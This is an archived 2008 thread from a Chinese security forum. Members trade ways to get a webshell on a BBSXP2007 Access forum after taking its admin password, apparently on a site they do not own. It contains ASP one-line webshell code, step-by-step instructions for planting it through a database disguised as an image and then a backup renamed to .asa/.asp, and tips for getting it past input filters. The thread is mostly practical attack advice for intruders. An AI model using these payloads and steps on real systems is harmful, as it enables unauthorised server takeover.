邪恶八进制信息安全团队技术讨论组's Archiver

awolf 2008-1-3 17:06

[讨论]BBSXP2007 Access版后台拿shell问题

议题作者:Awolf
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

  在测试一个BBSXP2007access版的漏洞,成功的得到了一个后台密码并进入后台。
  让人悲哀的是,后台没有办法开启上传功能,那么修改后台上传后缀直接传马的方法不行了,还有下载数据库插入小马然后备份的方法也走不通了。那么我们有什么方法从后台拿到shell?
  请问出了我上述两种方法外还有什么方法可以拿下shell?谢谢

十三豆子 2008-1-5 11:26

BBSXP后台有一个广告还是页面设置的地方,可以插一句话进数据库,然后备份数据库为ASA就可以了.

゛小︷帅!﹊ 2008-1-5 11:45

表Admin

列username password .........
<%execute request("#")%>

上传恢复一下数据库。

再备份。

ok/你拿到shell了` [s:265]

awolf 2008-1-6 09:10

[quote]引用第1楼十三豆子于2008-01-05 11:26发表的 :
BBSXP后台有一个广告还是页面设置的地方,可以插一句话进数据库,然后备份数据库为ASA就可以了.[/quote]
恩,你说的地方我测试过了,我在“管理所有角色”的地方插入一句话,但是到数据库中被过滤得不成样子了,连接一句话出现乱码,没有想看到的那句!
[align=center][img]http://photo15.yupoo.com/20080106/092347_1790638488_m.jpg[/img][/align]
不知道这位大哥说的是不是这个地方,还有如果是这个地方有办法绕过验证?小弟学浅,想了N久也不知道。。。。貌似过滤成这样无法绕过。

awolf 2008-1-6 09:44

[quote]引用第2楼゛小︷帅!﹊于2008-01-05 11:45发表的 :
表Admin

列username password .........
<%execute request("#")%>

.......[/quote]

可以具体点不?前提是无法开通上传组建的!

゛小︷帅!﹊ 2008-1-6 10:32

[b]申明下,我没测试过。但是在其他的地方运用到过类似的方法[/b]

你可以参考下《自力更生搞定my动力系统》

1、先帮网站备份当前数据库。 &#39; 比如为bak.mdb

2、去down一份数据库。版本要一样

3、去掉nodown表`去掉全部的表。只留一个“admin”

4、在admin表里加一个<%execute request("fucker")%>

5、然后上传上去,当然是图片了。。

6、恢复数据库,我说的恢复不是恢复步骤1的数据库,而是步骤5的图片。

7、有的人会说网站会倒塌,应该不会,所以我说我没实践。但是我觉得这个办法是[b]通杀[/b]的。

8、再一次备份当前数据库。 &#39; 比如为“asp.asp/test.mdb”,或者“asp.asa”


这个是理论上的思路……[s:269][s:269]



[quote]Quote:
引用第2楼゛小︷帅!﹊于2008-01-05 11:45发表的 :
表Admin

列username password .........
<%execute request("#")%>

.......

可以具体点不?前提是无法开通上传组建的![/quote]

[s:270]那我就无能为力了。

全部都试一下吧。

把一句话加密什么的。

simpleboy 2008-1-6 15:26

[quote]引用第5楼゛小︷帅!﹊于2008-01-06 10:32发表的 :
[b]申明下,我没测试过。但是在其他的地方运用到过类似的方法[/b]

你可以参考下《自力更生搞定my动力系统》

1、先帮网站备份当前数据库。 &#39; 比如为bak.mdb
.......[/quote]

小弟对哪SHELL 不了解 这里看到了 好奇
第4步 和第5步是什么意思呢?

是上传图片 还是备份的数据库
还是 先上传数据库 然后再上传 图片木马 ??

好像都不对吧 求知  勿见笑

゛小︷帅!﹊ 2008-1-6 15:32

[quote]引用第6楼simpleboy于2008-01-06 15:26发表的 :


小弟对哪SHELL 不了解 这里看到了 好奇
第4步 和第5步是什么意思呢?

.......[/quote]
难道我说模糊了?

先把一句话插到自己设置的数据库(.mdb)接着换扩展名(.jpg)上传

恢复(.jpg)。

没测试过。但是大部分的站点都能这样拿到shell。

可惜了。楼主要的webshell不支持上传

[code]Request 对象 错误 &#39;ASP 0104 : 80004005&#39;

不允许操作

/Utility/UpFile_Class.asp,行 36
[/code]

原来是用2进制读了。

看来我的办法是不行的

awolf 2008-1-7 21:47

我又重新读了代码,还是没有找到可以利用的地方,除了可开启上传功能。
可是小弟学识有限,各位大大还有什么好方法? 恩, ゛小︷帅! 大哥的说得没错,基本上都可以通过上传来拿到shell,但是我就遇到一个BT不能上传的。看看能不能突破~~
期待ing

awolf 2008-1-11 00:38

测试发现:在网站配置中写入一句话木马.然后备份就可以了。。。
终于成功解决了

anki 2008-1-11 10:09

上传设置里添加MDB类型文件,把含有一句话木马的MDB文件备份一下就可以了。

awolf 2008-1-12 10:11

[quote]引用第10楼anki于2008-01-11 10:09发表的 :
上传设置里添加MDB类型文件,把含有一句话木马的MDB文件备份一下就可以了。[/quote]
楼上的看清楚了
前提是不能开通上传的
还是感谢

anki 2008-1-12 11:51

抱歉,是我没有看清楚,那为什么不能开启啊,不支持上传吗?? 你自己已经解决了哦 。。

杀虫剂 2008-1-12 23:51

也遇见了个BBSXP2007和楼主的一样。。。
上传组件无法开通不能上传文件,所以上传个一句话的图片数据库是行不通的。。
——————————————————
在网站配置中写入一句话木马.然后备份就可以了。。。
是不是进后台在基本设置——普通配置——站点名称等这些地方写入一句话??

在我写入到这些地方的时候发现语句过滤掉了,<%execute request("value")%>变成了<%execute request(      " />在网上找了个转换工具把<%execute request("value")%^>转化成┼硥捥瑵?敲畱獥?瘢污敵?帥>u     备份数据库打开发现
Active Server Pages 错误 &#39;ASP 0116&#39;

丢失脚本关闭分隔符

/bbs2/database/3.asp,行 47550

Script 块缺少脚本关闭标记(%>)。


是不是那里出现问题了,还是一句话出现错误了,应该怎么解决?

yzy888 2008-1-13 17:09

[quote]引用第13楼杀虫剂于2008-01-12 23:51发表的 :
也遇见了个BBSXP2007和楼主的一样。。。
上传组件无法开通不能上传文件,所以上传个一句话的图片数据库是行不通的。。
——————————————————
在网站配置中写入一句话木马.然后备份就可以了。。。
是不是进后台在基本设置——普通配置——站点名称等这些地方写入一句话??
.......[/quote]

你这应该是加入了防下载表了吧, 如果后台有执行SQL语句的功能,UPDATE一下就行了,一会去下一个BBSXP来试试看,

awolf 2008-1-15 00:00

[quote]引用第13楼杀虫剂于2008-01-12 23:51发表的 :
也遇见了个BBSXP2007和楼主的一样。。。
上传组件无法开通不能上传文件,所以上传个一句话的图片数据库是行不通的。。
——————————————————
在网站配置中写入一句话木马.然后备份就可以了。。。
是不是进后台在基本设置——普通配置——站点名称等这些地方写入一句话??
.......[/quote]
大哥的一句话是用什么转换呢?要用lake2的一个ascii2unicode的工具?感觉是你转换错误才会出现这种错误,你看下到数据库后被转成什么样子了就知道了

杀虫剂 2008-1-15 22:25

经过测试过掉了"  
之前是用lake2的ascii2unicode工具转换了下,但是好象没用。。
出现的情况变成这样的 了
Microsoft VBScript 编译器错误 错误 &#39;800a0408&#39;

无效字符

/bbs2/database/1.asp,行 61




awolf 和yzy888请加我QQ395697379 或者告诉我你的QQ一起看看这个站怎么解决

页: [1]
© 1999-2008 EvilOctal Security Team